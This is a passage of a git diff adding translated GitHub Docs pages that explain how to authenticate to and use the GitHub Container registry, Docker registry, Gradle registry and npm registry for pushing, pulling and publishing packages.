+redirect_from: + - /packages/managing-container-images-with-github-container-registry/pushing-and-pulling-docker-images + - /packages/guides/container-guides-for-github-packages/pushing-and-pulling-docker-images + - /packages/guides/pushing-and-pulling-docker-images + - /packages/getting-started-with-github-container-registry/about-github-container-registry + - /packages/managing-container-images-with-github-container-registry + - /packages/working-with-a-github-packages-registry/enabling-improved-container-support-with-the-container-registry + - /packages/getting-started-with-github-container-registry/enabling-improved-container-support + - /packages/guides/container-guides-for-github-packages/enabling-improved-container-support + - /packages/guides/enabling-improved-container-support +versions: + fpt: '*' + ghec: '*' + ghes: '>= 3.5' +shortTitle: Container registry +--- + +{% data reusables.package_registry.container-registry-ghes-beta %} + +## About the {% data variables.product.prodname_container_registry %} + +{% data reusables.package_registry.container-registry-benefits %} + +{% ifversion ghes > 3.4 %} + +To use the {% data variables.product.prodname_container_registry %} on {% data variables.product.product_name %}, your site administrator must first configure {% data variables.product.prodname_registry %} for your instance **and** enable subdomain isolation. For more information, see "[Getting started with GitHub Packages for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)" and "[Enabling subdomain isolation](/admin/configuration/configuring-network-settings/enabling-subdomain-isolation)." + +{% endif %} + +## About {% data variables.product.prodname_container_registry %} support + +The {% data variables.product.prodname_container_registry %} currently supports the following container image formats: + +* [Docker Image Manifest V2, Schema 2](https://docs.docker.com/registry/spec/manifest-v2-2/) +* [Open Container Initiative (OCI) Specifications](https://github.com/opencontainers/image-spec) + +When installing or publishing a Docker image, the {% data variables.product.prodname_container_registry %} supports foreign layers, such as Windows images. + +## Authenticating to the {% data variables.product.prodname_container_registry %} + +{% ifversion fpt or ghec or ghes > 3.4 %} +To authenticate to the {% data variables.product.prodname_container_registry %} (`ghcr.io`) within a {% data variables.product.prodname_actions %} workflow, use the `GITHUB_TOKEN` for the best security and experience. {% data reusables.package_registry.authenticate_with_pat_for_v2_registry %} +{% endif %} + +{% ifversion ghes %}Ensure that you replace `HOSTNAME` with {% data variables.location.product_location_enterprise %} hostname or IP address in the examples below.{% endif %} + +{% data reusables.package_registry.authenticate-to-container-registry-steps %} + +## Pushing container images + +This example pushes the latest version of `IMAGE_NAME`. + ```shell + $ docker push {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME:latest + ``` + +This example pushes the `2.5` version of the image. + ```shell + $ docker push {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME:2.5 + ``` + +When you first publish a package, the default visibility is private. To change the visibility or set access permissions, see "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)." + +## Pulling container images + +### Pull by digest + +To ensure you're always using the same image, you can specify the exact container image version you want to pull by the `digest` SHA value. + +1. To find the digest SHA value, use `docker inspect` or `docker pull` and copy the SHA value after `Digest:` + ```shell + $ docker inspect {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME + ``` +2. Remove image locally as needed. + ```shell + $ docker rmi {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME:latest + ``` + +3. Pull the container image with `@YOUR_SHA_VALUE` after the image name. + ```shell + $ docker pull {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME@sha256:82jf9a84u29hiasldj289498uhois8498hjs29hkuhs + ``` + +### Pull by name + + ```shell + $ docker pull {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME + ``` + +### Pull by name and version + +Docker CLI example showing an image pulled by its name and the `1.14.1` version tag: + ```shell + $ docker pull {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME:1.14.1 + > 5e35bd43cf78: Pull complete + > 0c48c2209aab: Pull complete + > fd45dd1aad5a: Pull complete + > db6eb50c2d36: Pull complete + > Digest: sha256:ae3b135f133155b3824d8b1f62959ff8a72e9cf9e884d88db7895d8544010d8e + > Status: Downloaded newer image for {% data reusables.package_registry.container-registry-hostname %}/orgname/image-name/release:1.14.1 + > {% data reusables.package_registry.container-registry-hostname %}/orgname/image-name/release:1.14.1 + ``` + +### Pull by name and latest version + + ```shell + $ docker pull {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME:latest + > latest: Pulling from user/image-name + > Digest: sha256:b3d3e366b55f9a54599220198b3db5da8f53592acbbb7dc7e4e9878762fc5344 + > Status: Downloaded newer image for {% data reusables.package_registry.container-registry-hostname %}/user/image-name:latest + > {% data reusables.package_registry.container-registry-hostname %}/user/image-name:latest + ``` + +## Building container images + +This example builds the `hello_docker` image: + ```shell + $ docker build -t hello_docker . + ``` + +## Tagging container images + +1. Find the ID for the Docker image you want to tag. + ```shell + $ docker images + > REPOSITORY TAG IMAGE ID CREATED SIZE + > {% data reusables.package_registry.container-registry-hostname %}/my-org/hello_docker latest 38f737a91f39 47 hours ago 91.7MB + > {% data reusables.package_registry.container-registry-hostname %}/my-username/hello_docker latest 38f737a91f39 47 hours ago 91.7MB + > hello-world latest fce289e99eb9 16 months ago 1.84kB + ``` + +2. Tag your Docker image using the image ID and your desired image name and hosting destination. + ```shell + $ docker tag 38f737a91f39 {% data reusables.package_registry.container-registry-hostname %}/OWNER/NEW_IMAGE_NAME:latest + ``` + +## Labelling container images + +{% data reusables.package_registry.about-docker-labels %} For more information on Docker labels, see [LABEL](https://docs.docker.com/engine/reference/builder/#label) in the official Docker documentation and [Pre-Defined Annotation Keys](https://github.com/opencontainers/image-spec/blob/master/annotations.md#pre-defined-annotation-keys) in the `opencontainers/image-spec` repository. + +The following labels are supported in the {% data variables.product.prodname_container_registry %}. Supported labels will appear on the package page for the image. + +Label | Description +------|------------ +| `org.opencontainers.image.source` | The URL of the repository associated with the package. For more information, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package#connecting-a-repository-to-a-container-image-using-the-command-line)." +| `org.opencontainers.image.description` | A text-only description limited to 512 characters. This description will appear on the package page, below the name of the package. +| `org.opencontainers.image.licenses` | An SPDX license identifier such as "MIT," limited to 256 characters. The license will appear on the package page, in the "Details" sidebar. For more information, see [SPDX License List](https://spdx.org/licenses/). + +To add labels to an image, we recommend using the `LABEL` instruction in your `Dockerfile`. For example, if you're the user `monalisa` and you own `my-repo`, and your image is distributed under the terms of the MIT license, you would add the following lines to your `Dockerfile`: + +```dockerfile +LABEL org.opencontainers.image.source=https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/monalisa/my-repo +LABEL org.opencontainers.image.description="My container image" +LABEL org.opencontainers.image.licenses=MIT +``` + +Alternatively, you can add labels to an image at buildtime with the `docker build` command. + +```shell +$ docker build \ + --label "org.opencontainers.image.source=https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/monalisa/my-repo" \ + --label "org.opencontainers.image.description=My container image" \ + --label "org.opencontainers.image.licenses=MIT" diff --git a/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md b/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md new file mode 100644 index 000000000000..b0fa5478a900 --- /dev/null +++ b/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md @@ -0,0 +1,268 @@ +--- +title: Working with the Docker registry +intro: '{% ifversion fpt or ghec %}The Docker registry has now been replaced by the {% data variables.product.prodname_container_registry %}.{% else %}You can push and pull your Docker images using the {% data variables.product.prodname_registry %} Docker registry.{% endif %}' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /articles/configuring-docker-for-use-with-github-package-registry + - /github/managing-packages-with-github-package-registry/configuring-docker-for-use-with-github-package-registry + - /github/managing-packages-with-github-packages/configuring-docker-for-use-with-github-packages + - /packages/using-github-packages-with-your-projects-ecosystem/configuring-docker-for-use-with-github-packages + - /packages/guides/container-guides-for-github-packages/configuring-docker-for-use-with-github-packages + - /packages/guides/configuring-docker-for-use-with-github-packages +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Docker registry +--- + +<!-- Main versioning block. Short page for dotcom --> +{% ifversion fpt or ghec %} + +{% data variables.product.prodname_dotcom %}'s Docker registry (which used the namespace `docker.pkg.github.com`) has been replaced by the {% data variables.product.prodname_container_registry %} (which uses the namespace `https://ghcr.io`). The {% data variables.product.prodname_container_registry %} offers benefits such as granular permissions and storage optimization for Docker images. + +Docker images previously stored in the Docker registry are being automatically migrated into the {% data variables.product.prodname_container_registry %}. For more information, see "[Migrating to the {% data variables.product.prodname_container_registry %} from the Docker registry](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry)" and "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)." + +{% else %} +<!-- The remainder of this article is displayed for releases that don't support the Container registry --> + +{% data reusables.package_registry.packages-ghes-release-stage %} +{% data reusables.package_registry.packages-ghae-release-stage %} + +{% data reusables.package_registry.admins-can-configure-package-types %} + +## About Docker support + +When installing or publishing a Docker image, the Docker registry does not currently support foreign layers, such as Windows images. + +## Authenticating to {% data variables.product.prodname_registry %} + +{% data reusables.package_registry.authenticate-packages %} + +{% data reusables.package_registry.authenticate-packages-github-token %} + +### Authenticating with a {% data variables.product.pat_generic %} + +{% data reusables.package_registry.required-scopes %} + +You can authenticate to {% data variables.product.prodname_registry %} with Docker using the `docker` login command. + +To keep your credentials secure, we recommend you save your {% data variables.product.pat_generic %} in a local file on your computer and use Docker's `--password-stdin` flag, which reads your token from a local file. + +{% ifversion fpt or ghec %} +{% raw %} + ```shell + $ cat ~/TOKEN.txt | docker login https://docker.pkg.github.com -u <em>USERNAME</em> --password-stdin + ``` +{% endraw %} +{% endif %} + +{% ifversion ghes or ghae %} +{% ifversion ghes %} +If your instance has subdomain isolation enabled: +{% endif %} +{% raw %} + ```shell + $ cat ~/TOKEN.txt | docker login docker.HOSTNAME -u USERNAME --password-stdin +``` +{% endraw %} +{% ifversion ghes %} +If your instance has subdomain isolation disabled: + +{% raw %} + ```shell + $ cat ~/TOKEN.txt | docker login HOSTNAME -u USERNAME --password-stdin +``` +{% endraw %} +{% endif %} + +{% endif %} + +To use this example login command, replace `USERNAME` with your {% data variables.product.product_name %} username{% ifversion ghes or ghae %}, `HOSTNAME` with the URL for {% data variables.location.product_location %},{% endif %} and `~/TOKEN.txt` with the file path to your {% data variables.product.pat_generic %} for {% data variables.product.product_name %}. + +For more information, see "[Docker login](https://docs.docker.com/engine/reference/commandline/login/#provide-a-password-using-stdin)." + +## Publishing an image + +{% data reusables.package_registry.docker_registry_deprecation_status %} + +{% note %} + +**Note:** Image names must only use lowercase letters. + +{% endnote %} + +{% data variables.product.prodname_registry %} supports multiple top-level Docker images per repository. A repository can have any number of image tags. You may experience degraded service publishing or installing Docker images larger than 10GB, layers are capped at 5GB each. For more information, see "[Docker tag](https://docs.docker.com/engine/reference/commandline/tag/)" in the Docker documentation. + +{% data reusables.package_registry.viewing-packages %} + +1. Determine the image name and ID for your docker image using `docker images`. + ```shell + $ docker images + > < > + > REPOSITORY TAG IMAGE ID CREATED SIZE + > IMAGE_NAME VERSION IMAGE_ID 4 weeks ago 1.11MB + ``` +2. Using the Docker image ID, tag the docker image, replacing *OWNER* with the name of the user or organization account that owns the repository, *REPOSITORY* with the name of the repository containing your project, *IMAGE_NAME* with name of the package or image,{% ifversion ghes or ghae %} *HOSTNAME* with the hostname of {% data variables.location.product_location %},{% endif %} and *VERSION* with package version at build time. + {% ifversion fpt or ghec %} + ```shell + $ docker tag IMAGE_ID docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION + ``` + {% else %} + {% ifversion ghes %} + If your instance has subdomain isolation enabled: + {% endif %} + ```shell + $ docker tag IMAGE_ID docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION + ``` + {% ifversion ghes %} + If your instance has subdomain isolation disabled: + ```shell + $ docker tag IMAGE_ID HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION + ``` + {% endif %} + {% endif %} +3. If you haven't already built a docker image for the package, build the image, replacing *OWNER* with the name of the user or organization account that owns the repository, *REPOSITORY* with the name of the repository containing your project, *IMAGE_NAME* with name of the package or image, *VERSION* with package version at build time,{% ifversion ghes or ghae %} *HOSTNAME* with the hostname of {% data variables.location.product_location %},{% endif %} and *PATH* to the image if it isn't in the current working directory. + {% ifversion fpt or ghec %} + ```shell + $ docker build -t docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH + ``` + {% else %} + {% ifversion ghes %} + If your instance has subdomain isolation enabled: + {% endif %} + ```shell + $ docker build -t docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH + ``` + {% ifversion ghes %} + If your instance has subdomain isolation disabled: + ```shell + $ docker build -t HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH + ``` + {% endif %} + {% endif %} +4. Publish the image to {% data variables.product.prodname_registry %}. + {% ifversion fpt or ghec %} + ```shell + $ docker push docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION + ``` + {% else %} + {% ifversion ghes %} + If your instance has subdomain isolation enabled: + {% endif %} + ```shell + $ docker push docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION + ``` + {% ifversion ghes %} + If your instance has subdomain isolation disabled: + ```shell + $ docker push HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION + ``` + {% endif %} + {% endif %} + {% note %} + + **Note:** You must push your image using `IMAGE_NAME:VERSION` and not using `IMAGE_NAME:SHA`. + + {% endnote %} + +### Example publishing a Docker image + +{% ifversion ghes %} +These examples assume your instance has subdomain isolation enabled. +{% endif %} + +You can publish version 1.0 of the `monalisa` image to the `octocat/octo-app` repository using an image ID. + +{% ifversion fpt or ghec %} +```shell +$ docker images + +> REPOSITORY TAG IMAGE ID CREATED SIZE +> monalisa 1.0 c75bebcdd211 4 weeks ago 1.11MB + +# Tag the image with <em>OWNER/REPO/IMAGE_NAME</em> +$ docker tag c75bebcdd211 docker.pkg.github.com/octocat/octo-app/monalisa:1.0 + +# Push the image to {% data variables.product.prodname_registry %} +$ docker push docker.pkg.github.com/octocat/octo-app/monalisa:1.0 +``` + +{% else %} + +```shell +$ docker images + +> REPOSITORY TAG IMAGE ID CREATED SIZE +> monalisa 1.0 c75bebcdd211 4 weeks ago 1.11MB + +# Tag the image with <em>OWNER/REPO/IMAGE_NAME</em> +$ docker tag c75bebcdd211 docker.HOSTNAME/octocat/octo-app/monalisa:1.0 + +# Push the image to {% data variables.product.prodname_registry %} +$ docker push docker.HOSTNAME/octocat/octo-app/monalisa:1.0 +``` + +{% endif %} + +You can publish a new Docker image for the first time and name it `monalisa`. + +{% ifversion fpt or ghec %} +```shell +# Build the image with docker.pkg.github.com/<em>OWNER/REPOSITORY/IMAGE_NAME:VERSION</em> +# Assumes Dockerfile resides in the current working directory (.) +$ docker build -t docker.pkg.github.com/octocat/octo-app/monalisa:1.0 . + +# Push the image to {% data variables.product.prodname_registry %} +$ docker push docker.pkg.github.com/octocat/octo-app/monalisa:1.0 +``` + +{% else %} +```shell +# Build the image with docker.<em>HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION</em> +# Assumes Dockerfile resides in the current working directory (.) +$ docker build -t docker.HOSTNAME/octocat/octo-app/monalisa:1.0 . + +# Push the image to {% data variables.product.prodname_registry %} +$ docker push docker.HOSTNAME/octocat/octo-app/monalisa:1.0 +``` +{% endif %} + +## Downloading an image + +{% data reusables.package_registry.docker_registry_deprecation_status %} + +You can use the `docker pull` command to install a docker image from {% data variables.product.prodname_registry %}, replacing *OWNER* with the name of the user or organization account that owns the repository, *REPOSITORY* with the name of the repository containing your project, *IMAGE_NAME* with name of the package or image,{% ifversion ghes or ghae %} *HOSTNAME* with the host name of {% data variables.location.product_location %}, {% endif %} and *TAG_NAME* with tag for the image you want to install. + +{% ifversion fpt or ghec %} +```shell +$ docker pull docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME +``` +{% else %} +<!--Versioning out this "subdomain isolation enabled" line because it's the only option for GHES 2.22 so it can be misleading.--> +{% ifversion ghes %} +If your instance has subdomain isolation enabled: +{% endif %} +```shell +$ docker pull docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME +``` +{% ifversion ghes %} +If your instance has subdomain isolation disabled: +```shell +$ docker pull HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME +``` +{% endif %} +{% endif %} + +{% note %} + +**Note:** You must pull the image using `IMAGE_NAME:VERSION` and not using `IMAGE_NAME:SHA`. + +{% endnote %} + +## Further reading + +- "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" + +{% endif %} <!-- End of main versioning block --> diff --git a/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md b/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md new file mode 100644 index 000000000000..e903fc567f2f --- /dev/null +++ b/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md @@ -0,0 +1,219 @@ +--- +title: Working with the Gradle registry +intro: 'You can configure Gradle to publish packages to the {% data variables.product.prodname_registry %} Gradle registry and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Java project.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /articles/configuring-gradle-for-use-with-github-package-registry + - /github/managing-packages-with-github-package-registry/configuring-gradle-for-use-with-github-package-registry + - /github/managing-packages-with-github-packages/configuring-gradle-for-use-with-github-packages + - /packages/using-github-packages-with-your-projects-ecosystem/configuring-gradle-for-use-with-github-packages + - /packages/guides/configuring-gradle-for-use-with-github-packages +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Gradle registry +--- + +{% data reusables.package_registry.packages-ghes-release-stage %} +{% data reusables.package_registry.packages-ghae-release-stage %} + +{% data reusables.package_registry.admins-can-configure-package-types %} + +## Authenticating to {% data variables.product.prodname_registry %} + +{% data reusables.package_registry.authenticate-packages %} + +{% data reusables.package_registry.authenticate-packages-github-token %} For more information about using `GITHUB_TOKEN` with Gradle, see "[Publishing Java packages with Gradle](/actions/guides/publishing-java-packages-with-gradle#publishing-packages-to-github-packages)." + +### Authenticating with a {% data variables.product.pat_generic %} + +{% data reusables.package_registry.required-scopes %} + +You can authenticate to {% data variables.product.prodname_registry %} with Gradle using either Gradle Groovy or Kotlin DSL by editing your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file to include your {% data variables.product.pat_v1 %}. You can also configure Gradle Groovy and Kotlin DSL to recognize a single package or multiple packages in a repository. + +{% ifversion ghes %} +Replace *REGISTRY-URL* with the URL for your instance's Maven registry. If your instance has subdomain isolation enabled, use `maven.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/maven`. In either case, replace *HOSTNAME* with the host name of your {% data variables.product.prodname_ghe_server %} instance. +{% elsif ghae %} +Replace *REGISTRY-URL* with the URL for your enterprise's Maven registry, `maven.HOSTNAME`. Replace *HOSTNAME* with the host name of {% data variables.location.product_location %}. +{% endif %} + +Replace *USERNAME* with your {% data variables.product.prodname_dotcom %} username, *TOKEN* with your {% data variables.product.pat_v1 %}, *REPOSITORY* with the name of the repository containing the package you want to publish, and *OWNER* with the name of the user or organization account on {% data variables.product.prodname_dotcom %} that owns the repository. Because uppercase letters aren't supported, you must use lowercase letters for the repository owner even if the {% data variables.product.prodname_dotcom %} user or organization name contains uppercase letters. + +{% note %} + +**Note:** {% data reusables.package_registry.apache-maven-snapshot-versions-supported %} For an example, see "[Configuring Apache Maven for use with {% data variables.product.prodname_registry %}](/packages/using-github-packages-with-your-projects-ecosystem/configuring-apache-maven-for-use-with-github-packages)." + +{% endnote %} + +#### Example using Gradle Groovy for a single package in a repository + +```shell +plugins { + id("maven-publish") +} +publishing { + repositories { + maven { + name = "GitHubPackages" + url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") + credentials { + username = project.findProperty("gpr.user") ?: System.getenv("USERNAME") + password = project.findProperty("gpr.key") ?: System.getenv("TOKEN") + } + } + } + publications { + gpr(MavenPublication) { + from(components.java) + } + } +} +``` + +#### Example using Gradle Groovy for multiple packages in the same repository + +```shell +plugins { + id("maven-publish") apply false +} +subprojects { + apply plugin: "maven-publish" + publishing { + repositories { + maven { + name = "GitHubPackages" + url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") + credentials { + username = project.findProperty("gpr.user") ?: System.getenv("USERNAME") + password = project.findProperty("gpr.key") ?: System.getenv("TOKEN") + } + } + } + publications { + gpr(MavenPublication) { + from(components.java) + } + } + } +} +``` + +#### Example using Kotlin DSL for a single package in the same repository + +```shell +plugins { + `maven-publish` +} +publishing { + repositories { + maven { + name = "GitHubPackages" + url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") + credentials { + username = project.findProperty("gpr.user") as String? ?: System.getenv("USERNAME") + password = project.findProperty("gpr.key") as String? ?: System.getenv("TOKEN") + } + } + } + publications { + register<MavenPublication>("gpr") { + from(components["java"]) + } + } +} +``` + +#### Example using Kotlin DSL for multiple packages in the same repository + +```shell +plugins { + `maven-publish` apply false +} +subprojects { + apply(plugin = "maven-publish") + configure<PublishingExtension> { + repositories { + maven { + name = "GitHubPackages" + url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") + credentials { + username = project.findProperty("gpr.user") as String? ?: System.getenv("USERNAME") + password = project.findProperty("gpr.key") as String? ?: System.getenv("TOKEN") + } + } + } + publications { + register<MavenPublication>("gpr") { + from(components["java"]) + } + } + } +} +``` + +## Publishing a package + +{% data reusables.package_registry.default-name %} For example, {% data variables.product.prodname_dotcom %} will publish a package named `com.example.test` in the `OWNER/test` {% data variables.product.prodname_registry %} repository. + +{% data reusables.package_registry.viewing-packages %} + +{% data reusables.package_registry.authenticate-step %} +2. After creating your package, you can publish the package. + + ```shell + $ gradle publish + ``` + +## Using a published package + +To use a published package from {% data variables.product.prodname_registry %}, add the package as a dependency and add the repository to your project. For more information, see "[Declaring dependencies](https://docs.gradle.org/current/userguide/declaring_dependencies.html)" in the Gradle documentation. + +{% data reusables.package_registry.authenticate-step %} +2. Add the package dependencies to your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file. + + Example using Gradle Groovy: + ```shell + dependencies { + implementation 'com.example:package' + } + ``` + Example using Kotlin DSL: + ```shell + dependencies { + implementation("com.example:package") + } + ``` + +3. Add the repository to your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file. + + Example using Gradle Groovy: + ```shell + repositories { + maven { + url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") + credentials { + username = project.findProperty("gpr.user") ?: System.getenv("USERNAME") + password = project.findProperty("gpr.key") ?: System.getenv("TOKEN") + } + } + } + ``` + Example using Kotlin DSL: + ```shell + repositories { + maven { + url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") + credentials { + username = project.findProperty("gpr.user") as String? ?: System.getenv("USERNAME") + password = project.findProperty("gpr.key") as String? ?: System.getenv("TOKEN") + } + } + } + ``` + +## Further reading + +- "[Working with the Apache Maven registry](/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry)" +- "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" diff --git a/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md b/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md new file mode 100644 index 000000000000..b90b8ff549a7 --- /dev/null +++ b/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md @@ -0,0 +1,233 @@ +--- +title: Working with the npm registry +intro: 'You can configure npm to publish packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in an npm project.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /articles/configuring-npm-for-use-with-github-package-registry + - /github/managing-packages-with-github-package-registry/configuring-npm-for-use-with-github-package-registry + - /github/managing-packages-with-github-packages/configuring-npm-for-use-with-github-packages + - /packages/using-github-packages-with-your-projects-ecosystem/configuring-npm-for-use-with-github-packages + - /packages/guides/configuring-npm-for-use-with-github-packages +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: npm registry +--- + +{% data reusables.package_registry.packages-ghes-release-stage %} +{% data reusables.package_registry.packages-ghae-release-stage %} + +{% data reusables.package_registry.admins-can-configure-package-types %} + +{% ifversion packages-npm-v2 %} +{% else %} +## Limits for published npm versions + +If you publish over 1,000 npm package versions to {% data variables.product.prodname_registry %}, you may see performance issues and timeouts occur during usage. + +In the future, to improve performance of the service, you won't be able to publish more than 1,000 versions of a package on {% data variables.product.prodname_dotcom %}. Any versions published before hitting this limit will still be readable. + +If you reach this limit, consider deleting package versions or contact Support for help. When this limit is enforced, our documentation will be updated with a way to work around this limit. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" or "[Contacting Support](/packages/learn-github-packages/about-github-packages#contacting-support)." +{% endif %} + +## Authenticating to {% data variables.product.prodname_registry %} + +{% data reusables.package_registry.authenticate-packages %} + +{% ifversion packages-npm-v2 %} +{% data reusables.package_registry.authenticate_with_pat_for_v2_registry %} + +You can also choose to give access permissions to packages independently for {% data variables.product.prodname_codespaces %} and {% data variables.product.prodname_actions %}. For more information, see "[Ensuring Codespaces access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package) and [Ensuring workflow access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)." +{% endif %} + +### Authenticating with a {% data variables.product.pat_generic %} + +{% data reusables.package_registry.required-scopes %} + +You can authenticate to {% data variables.product.prodname_registry %} with npm by either editing your per-user *~/.npmrc* file to include your {% data variables.product.pat_v1 %} or by logging in to npm on the command line using your username and {% data variables.product.pat_generic %}. + +To authenticate by adding your {% data variables.product.pat_v1 %} to your *~/.npmrc* file, edit the *~/.npmrc* file for your project to include the following line, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.location.product_location %} and {% endif %}*TOKEN* with your {% data variables.product.pat_generic %}. Create a new *~/.npmrc* file if one doesn't exist. + +{% ifversion ghes %} +If your instance has subdomain isolation enabled: +{% endif %} + +```shell +//{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME/{% endif %}/:_authToken=TOKEN +``` + +{% ifversion ghes %} +If your instance has subdomain isolation disabled: + +```shell +//HOSTNAME/_registry/npm/:_authToken=TOKEN +``` +{% endif %} + +To authenticate by logging in to npm, use the `npm login` command, replacing *USERNAME* with your {% data variables.product.prodname_dotcom %} username, *TOKEN* with your {% data variables.product.pat_v1 %}, and *PUBLIC-EMAIL-ADDRESS* with your email address. + +If {% data variables.product.prodname_registry %} is not your default package registry for using npm and you want to use the `npm audit` command, we recommend you use the `--scope` flag with the owner of the package when you authenticate to {% data variables.product.prodname_registry %}. + +{% ifversion ghes %} +If your instance has subdomain isolation enabled: +{% endif %} + +```shell +$ npm login --scope=@OWNER --registry=https://{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME/{% endif %} + +> Username: USERNAME +> Password: TOKEN +> Email: PUBLIC-EMAIL-ADDRESS +``` + +{% ifversion ghes %} +If your instance has subdomain isolation disabled: + +```shell +$ npm login --scope=@OWNER --registry=https://HOSTNAME/_registry/npm/ +> Username: USERNAME +> Password: TOKEN +> Email: PUBLIC-EMAIL-ADDRESS +``` +{% endif %} + +## Publishing a package + +{% note %} + +**Note:** Package names and scopes must only use lowercase letters. + +{% endnote %} + +{% ifversion packages-npm-v2 %} +The {% data variables.product.prodname_registry %} registry stores npm packages within your organization or personal account, and allows you to associate a package with a repository. You can choose whether to inherit permissions from a repository, or set granular permissions independently of a repository. +{% endif %} + +By default, {% data variables.product.prodname_registry %} publishes a package in the {% data variables.product.prodname_dotcom %} repository you specify in the name field of the *package.json* file. For example, you would publish a package named `@my-org/test` to the `my-org/test` {% data variables.product.prodname_dotcom %} repository. If you're running [npm v8.5.3](https://github.com/npm/cli/releases/tag/v8.5.3) or later, you can add a summary for the package listing page by including a *README.md* file in your package directory. For more information, see "[Working with package.json](https://docs.npmjs.com/getting-started/using-a-package.json)" and "[How to create Node.js Modules](https://docs.npmjs.com/getting-started/creating-node-modules)" in the npm documentation. + +You can publish multiple packages to the same {% data variables.product.prodname_dotcom %} repository by including a `URL` field in the *package.json* file. For more information, see "[Publishing multiple packages to the same repository](#publishing-multiple-packages-to-the-same-repository)." + +{% ifversion fpt or ghec %} +When a package is published, it isn't automatically linked to a repository. You can however choose to link your published package to a repository using the user interface or command line. For more information, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)." +{% endif %} + +You can set up the scope mapping for your project using either a local *.npmrc* file in the project or using the `publishConfig` option in the *package.json*. {% data variables.product.prodname_registry %} only supports scoped npm packages. Scoped packages have names with the format of `@owner/name`. Scoped packages always begin with an `@` symbol. You may need to update the name in your *package.json* to use the scoped name. For example, `"name": "@codertocat/hello-world-npm"`. + +{% ifversion packages-npm-v2 %} +When you first publish a package, the default visibility is private. When a package is linked to repository, the package visibility is dependent on the repository's visibility. To change the visibility or set 